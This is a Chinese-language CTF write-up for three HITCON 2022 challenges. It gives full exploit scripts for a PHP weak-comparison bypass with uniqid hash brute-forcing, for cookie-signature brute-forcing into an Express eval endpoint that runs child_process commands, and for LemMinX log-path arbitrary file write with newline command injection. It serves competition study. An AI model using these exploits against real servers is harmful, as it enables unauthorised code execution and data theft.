2022 HITCON CTF WriteUp

HITCON CTF 是由台湾的 HITCON 安全社区组织并主办的国际性网络安全夺旗竞赛，与每年的 HITCON 台湾骇客年会同期举办

🏆 赛事概况

• 比赛时间：2022 年 11 月 25 日 21:00 至 11 月 27 日 21:00 (UTC+7)

• 比赛形式：线上 Jeopardy（解题） 模式

• 赛事规模：共吸引了来自全球 95 个国家的 1,243 支队伍参赛

• 题目设置：共 27 道挑战题，涵盖 Web、Pwn、Crypto、Reverse、Misc 等方向

Web

yeeclass（弱比较 + 越权 + uniqid() 可预测）

yeeclass 是一个类似学校作业提交系统的网站，功能：

• 学生注册

• 查看课程

• 提交 homework

• 查看 submission

系统存在两类作业：public homework 和 private homework

目标就是获取用户 flagholder 提交到 private homework 中的 flag

题目提供源码，submission.php 中，每个 submission 都有一个 hash：

$id = uniqid($_SESSION["username"]."_");

$submit_query->execute(array(
    hash("sha1", $id),
    $_SESSION["userid"],
    $_POST["homeworkid"],
    $_POST["content"]
));

当把 ?homeworkid=2 改成 ?homeworkid=1 时候页面回显权限不够

查看 private homework 源码

if ($_SESSION["userclass"] < PERM_TA && !$result["public"]) {
    die("No permission");
}

这里有一个经典 PHP 弱比较，如果 $_SESSION["userclass"] 没有登录则为 null

null < PERM_TA，所以可以绕过

分析 hash 生成方式

$id = uniqid($username."_");

$hash = hash("sha1",$id);

PHP uniqid() 最终可以近似看成将时间转换成固定格式的十六进制字符串，因此如果知道目标提交的大概时间，就可以枚举附近的微秒值

import requests
import hashlib
from datetime import datetime, timezone

username = "flagholder"
timestamp = '2026-09-24 22:40:33.855719'

dt = datetime.fromisoformat(timestamp)#.replace(tzinfo=timezone.utc)
sec = int(dt.timestamp())
usec = dt.microsecond
print(sec, usec)

url = 'http://challenge-c8e3dd8b90b2ee6d.sandbox.ctfhub.com:10800/submission.php?hash='

def get_hash(sec, usec):
    user_id = f"{username}_{sec:08x}{usec:05x}"
    return hashlib.sha1(user_id.encode()).hexdigest()

for i in range(0, 1000):
    hash = get_hash(sec, usec - i)
    r = requests.get(url + hash)
    print(i, hash)
    if r.text != "Submission not found.":
        print("Found hash:", hash)
        print(r.text)
        break

rce（JS RCE + 字符长度限制绕过）

// 从签名 cookie 中读取 hex 代码，长度达到 40 后执行
app.get('/random', function (req, res) {
  let result = null;

  if (req.signedCookies.code.length >= 40) {
    // 将 hex 字符串还原为源码
    const code = Buffer.from(req.signedCookies.code, 'hex').toString();

    try {
      // 执行代码，结果作为响应返回
      result = eval(code);
    } catch (e) {
      // 捕获异常并作为结果返回
      result = e;
    }

    // 清空已执行的 cookie
    res.cookie('code', '', { signed: true });

    // 返回进度和结果
    res.send({
      progress: req.signedCookies.code.length,
      result
    });
  } else {
    // 长度不足 40：继续追加随机 hex 片段到签名 cookie
    res.cookie(
      'code',
      req.signedCookies.code + randomHex(),
      { signed: true }
    );
  }
});

接下来分析 Cookie，组成部分为 code=s:<value>.<signature>

关键源码中每访问一次增加一个随机 hex 字符

// 生成 1 字节随机数并转为十六进制字符串（结果 2 个字符）
function randomHex() {
  return crypto.randomBytes(1).toString("hex");
}

现在的问题是我们需要控制这增加的随机字符从而凑够 40 个 hex 字符打 RCE

也就说我们的 Payload 不能超过 20 字符，可构造出以下 Payload

// 让服务器执行 URL 参数 meow 里的任意 JavaScript 代码
eval(req.query.meow)

服务器每次增加的字符只有 16 种可能，我们可以编写脚本爆破

#!/usr/bin/python3
# 利用脚本：通过暴力破解 cookie 签名，分段执行命令，
# 将 /flag-* 复制到 /index.html，最后读取 flag。

import argparse
import json
import urllib.parse
from threading import Thread

import requests

# 四段 payload，每段最多 20 字节，拼起来执行：
# require; c="cp /f*"; z="child_process"; g=require(z).exec; g(c+" "+"inde"+"x.html");
PAYLOADS = [
    'r=require;c="cp /f*"',
    'z="child_process";',
    'g=r(z).exec;d="inde"',
    'g(c+" "+d+"x.html");',
]


def prep_payload(pay: str) -> str:
    """将 payload 填充到 20 个字符（不足补 '1'）。"""
    return pay.ljust(20, '1')


def parse_cookie(cookie_str: str):
    """从 cookie 字符串中解析出 data 和 sig。"""
    # 原始值形如 code:data.sig，先 URL 解码再取冒号后的部分
    cookie = urllib.parse.unquote(cookie_str).split(':')[1]
    data, sig = cookie.split('.')
    return data, sig


def brute_payload(base_url: str, endpoint: str, payload: str):
    """通过 /random 接口逐字符暴力破解，使服务端 cookie 的 data 等于 payload 的十六进制。"""
    print(f'[-] 开始暴力破解 payload: {payload}')
    resp = requests.get(base_url)
    cookie = resp.cookies.get('code')

    payload = prep_payload(payload)
    target_hex = payload.encode('ascii').hex()
    progress = 0

    while progress <= 39:
        resp = requests.get(base_url + endpoint, cookies={"code": cookie})
        tmp_cookie = resp.cookies['code']
        data, _ = parse_cookie(tmp_cookie)

        out = json.loads(resp.text)
        progress = out['progress']
        print(f'已破解十六进制字符数: {progress}\r', end='')

        # 如果服务端生成的字符与目标一致，则保留新 cookie
        if progress != 40 and data[progress] == target_hex[progress]:
            cookie = tmp_cookie

    print(out)


def run_group(base_url: str, endpoint: str, group):
    """并发执行一组 payload。"""
    threads = [
        Thread(target=brute_payload, args=(base_url, endpoint, p))
        for p in group
    ]
    for t in threads:
        t.start()
    for t in threads:
        t.join()


def main():
    parser = argparse.ArgumentParser(description='base url')
    parser.add_argument('-u', required=True, help='目标基础 URL')
    args = parser.parse_args()

    base_url = args.u
    endpoint = 'random'

    # 服务端容易超时，分两组并发执行
    run_group(base_url, endpoint, PAYLOADS[:2])
    run_group(base_url, endpoint, PAYLOADS[2:])

    # 读取被复制到 index.html 的 flag
    r = requests.get(base_url)
    print(f'Flag: {r.text}')


if __name__ == "__main__":
    main()

Misc

lemminx（XXE 无回显绕过）

题目描述：Eclipse LemMinX XML Language Server，版本 0.19.1

LemMinX 是 Eclipse 基金会开源的一个 XML 语言服务器。当你在 VSCode 中打开一个 .xml 文件时，编辑器需要知道：

• 这段 XML 语法对不对？

• 光标放在某个标签上时，应该提示什么补全？

• 这个标签的定义在哪里？

这些功能不是 VSCode 自己实现的，而是 VSCode 通过 LSP 协议 向 LemMinX 这个 “后端服务” 请求的。LemMinX 接收请求，分析 XML，然后把结果返回给编辑器

LemMinX 是一个网络服务，它通过标准输入/输出或 TCP 接收 LSP 消息，解析 XML 文档，并返回诊断信息。它本身不面向最终用户，而是面向编辑器（客户端）

LSP 的消息格式类似 HTTP，由 Header 和 Body 两部分组成，中间用 \r\n\r\n 分隔

Header 部分：

Content-Length: 123\r\n
Content-Type: application/vscode-jsonrpc; charset=utf-8\r\n
\r\n

Body 是一个标准的 JSON-RPC 2.0 消息：

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{...}}

连接服务后，第一件事是发送 initialize 请求，告诉服务器 “我是什么编辑器，我支持什么功能”

from pwn import *
import json

HOST = "challenge-xxx.sandbox.ctfhub.com"
PORT = 38926

io = remote(HOST, PORT)

init_msg = {
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
        "processId": None,
        "rootUri": "file:///tmp",
        "capabilities": {}
    }
}

body = json.dumps(init_msg, separators=(",", ":")).encode()
header = f"Content-Length: {len(body)}\r\n\r\n".encode()
io.send(header + body)

# 接收响应
response = io.recv(timeout=3)
print(response.decode(errors='ignore'))

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "capabilities": {
      "textDocumentSync": 2,
      "hoverProvider": true,
      "completionProvider": {
        "triggerCharacters": [".", ":", "<", "\"", "=", "/", "\\", "?", "'", "&"]
      },
      "definitionProvider": true,
      "referencesProvider": true,
      "documentLinkProvider": true
    },
    "serverInfo": {
      "name": "XML Language Server",
      "version": "0.19.1"
    }
  }
}

• capabilities 告诉客户端 “我能做什么”

• textDocumentSync: 2 表示支持增量文档同步（Full 是 1，Incremental 是 2）

• completionProvider 表示支持自动补全

• serverInfo.version: "0.19.1" 确认了版本号

初始化完成后，客户端需要发送 initialized 通知

initialize 是握手请求，服务端回复能力列表后，客户端再发 initialized 确认 “我收到了，你可以开始工作了”

initialized_msg = {
    "jsonrpc": "2.0",
    "method": "initialized",
    "params": {}
}

body = json.dumps(initialized_msg, separators=(",", ":")).encode()
header = f"Content-Length: {len(body)}\r\n\r\n".encode()
io.send(header + body)

通过 textDocument/didOpen 通知发送一个恶意的 XML 文档

didopen_msg = {
    "jsonrpc": "2.0",
    "method": "textDocument/didOpen",
    "params": {
        "textDocument": {
            "uri": "file:///tmp/test.xml",
            "languageId": "xml",
            "version": 1,
            "text": '''<?xml version="1.0"?>
                    <!DOCTYPE root [
                    <!ENTITY xxe SYSTEM "file:///flag">
                    ]>
                    <root>&xxe;</root>'''
        }
    }
}

diagnostics 是空数组。没有报错，但也没有返回文件内容

{
  "method": "textDocument/publishDiagnostics",
  "params": {
    "uri": "file:///tmp/test.xml",
    "diagnostics": []
  }
}

原因一：LemMinX 在 0.19.1 版本中已经默认禁用了外部实体的解析

原因二：即使 XXE 成功读取了文件，LemMinX 也不会把解析结果返回给客户端。LemMinX 的工作方式是：解析 XML → 分析语法 → 返回诊断信息（比如 “第 3 行缺少闭合标签”）

原因三：publishDiagnostics 返回的是语法层面的诊断（如缺少标签、属性值无效等），不会包含实体展开后的内容。即使 /flag 被读取了，你也不可能从诊断信息中看到它

既然 XML 解析层面走不通，我们把注意力转向 LemMinX 的配置系统

LSP 协议规定，客户端在 initialize 请求中可以通过 initializationOptions 字段传递配置参数。很多语言服务器会读取这个字段来调整自己的行为——比如设置日志路径、配置代码格式化规则、指定 Schema 文件位置等

核心问题：LemMinX 的 initializationOptions 支持哪些配置？有没有可以写入任意文件的配置项？

搜索 LemMinX 的配置文档，在 GitHub 上找到了 docs/Configuration.md。其中明确写明了 initializationOptions 的 JSON 格式

"initializationOptions": {
    "settings": {
        "xml": {
            "trace": { "server": "verbose" },
            "catalogs": [],
            "logs": {
                "client": true,
                "file": "/home/.../lsp4xml.log"
            },
            "format": { ... }
        }
    }
}

文档中明确说明：

file: Path to the file for log messages to be output.
Only send 'file' on initialization.

这意味着：

• 客户端可以通过 initializationOptions.settings.xml.logs.file 指定日志文件的输出路径

• 服务器会将日志消息写入这个文件

• 路径完全由客户端控制

这是一个典型的任意文件写入漏洞的入口

题目环境的启动方式通常是：容器启动时执行一个脚本（比如 /tmp/run.sh），这个脚本负责启动 LemMinX 服务

如果我们能把 /tmp/run.sh 覆盖成执行 cat /flag 的脚本，那么下一次连接时，容器会重新执行这个脚本，flag 就会被输出

分析 LemMinX 的日志输出逻辑。当客户端发送一个不存在的方法时，LSP4J 框架会输出一条错误日志：

Unsupported notification method: <method_name>

其中 <method_name> 是客户端发送的 method 字段的内容

# 发送一个不存在的 method
bad_msg = {
    "jsonrpc": "2.0",
    "method": "/printflag",  # 不存在的方法
    "params": {}
}

body = json.dumps(bad_msg, separators=(",", ":")).encode()
header = f"Content-Length: {len(body)}\r\n\r\n".encode()
io.send(header + body)

服务端日志中会出现：

Unsupported notification method: /printflag

所以 method 字段的内容会原样进入日志，我们想要日志中包含 cat /flag。最直接的想法：

bad_msg = {
    "jsonrpc": "2.0",
    "method": "cat /flag",  # 直接作为 method
    "params": {}
}

日志会变成：

Unsupported notification method: cat /flag

但 Unsupported notification method: 和 cat /flag 在同一行，如果直接作为 shell 脚本执行，shell 会尝试执行一个叫做 Unsupported 的命令，而不是 cat

解决方案很简单：在 method 字段中注入换行符，让 cat /flag 成为一个独立的新行

bad_msg = {
    "jsonrpc": "2.0",
    "method": "\ncat /flag\n",  # 前后加换行
    "params": {}
}

攻击链路总览

第一次连接（植入阶段）
    │
    ├── 1. initialize 请求
    │        │
    │        └── initializationOptions.settings.xml.logs.file = "/tmp/run.sh"
    │
    ├── 2. initialized 通知
    │
    └── 3. 发送恶意 method 污染日志
             │
             └── method = "\ncat /flag\n"
                      │
                      ▼
             日志写入 /tmp/run.sh
             │
             ▼
第二次连接（触发阶段）
    │
    └── 容器重新执行 /tmp/run.sh
             │
             ▼
        输出 flag{...}

from pwn import *
import json
import time

# ========== 配置 ==========
HOST = "challenge-xxx.sandbox.ctfhub.com"
PORT = 38926


def send_lsp(io, obj):
    """
    发送一条 LSP 消息（Header + JSON-RPC Body）

    参数:
        io:  pwn 的 remote 对象
        obj: 要发送的 JSON-RPC 对象（dict）
    """
    # 将 dict 序列化为紧凑 JSON（无多余空格）
    body = json.dumps(obj, separators=(",", ":")).encode('utf-8')

    # 构造 LSP Header（Content-Length 必须精确）
    header = f"Content-Length: {len(body)}\r\n\r\n".encode('ascii')

    # 发送完整消息
    io.send(header + body)


def phase1_write_payload():
    """
    第一次连接：植入 payload
    目标：将 /tmp/run.sh 覆盖为包含 "cat /flag" 的脚本
    """
    print("[*] Phase 1: 植入 payload...")

    io = remote(HOST, PORT)

    # ── 步骤 1: initialize 请求 ──
    # 关键：在 initializationOptions 中设置日志文件路径
    send_lsp(io, {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "initialize",
        "params": {
            "processId": None,
            "rootUri": "file:///tmp",
            "capabilities": {},
            "initializationOptions": {
                "settings": {
                    "xml": {
                        "logs": {
                            # ★ 控制日志输出路径为 run.sh
                            "file": "/tmp/run.sh"
                        }
                    }
                }
            }
        }
    })

    # 等待服务器处理 initialize 请求
    time.sleep(1)

    # ── 步骤 2: initialized 通知 ──
    # 这是 LSP 协议规定的流程，通知服务器初始化完成
    send_lsp(io, {
        "jsonrpc": "2.0",
        "method": "initialized",
        "params": {}
    })

    time.sleep(1)

    # ── 步骤 3: 污染日志内容 ──
    # 发送一个不存在的方法，触发 LSP4J 的 "Unsupported notification method" 日志
    # 在 method 字段中注入换行符，使 "cat /flag" 成为独立的一行
    send_lsp(io, {
        "jsonrpc": "2.0",
        "method": "\ncat /flag\n",  # ★ 注意前后换行
        "params": {}
    })

    # 等待日志写入完成
    print("[*] 等待日志写入...")
    time.sleep(2)

    # 关闭连接（不发送 exit 通知，避免触发额外处理）
    io.close()
    print("[+] Phase 1 完成，/tmp/run.sh 已被覆盖")


def phase2_trigger():
    """
    第二次连接：触发 run.sh 执行
    容器会在新连接建立时重新执行 /tmp/run.sh
    """
    print("[*] Phase 2: 触发 run.sh 执行...")

    io = remote(HOST, PORT)

    # 接收 flag 输出
    try:
        data = io.recv(timeout=5)
        print("[+] 收到数据:")
        print(data.decode(errors='ignore'))
    except EOFError:
        print("[!] 连接已关闭，可能 flag 已输出但未捕获")

    # 进入交互模式，方便手动发送命令
    io.interactive()


if __name__ == "__main__":
    # 执行完整攻击链
    phase1_write_payload()  # 第一次连接：植入
    phase2_trigger()        # 第二次连接：触发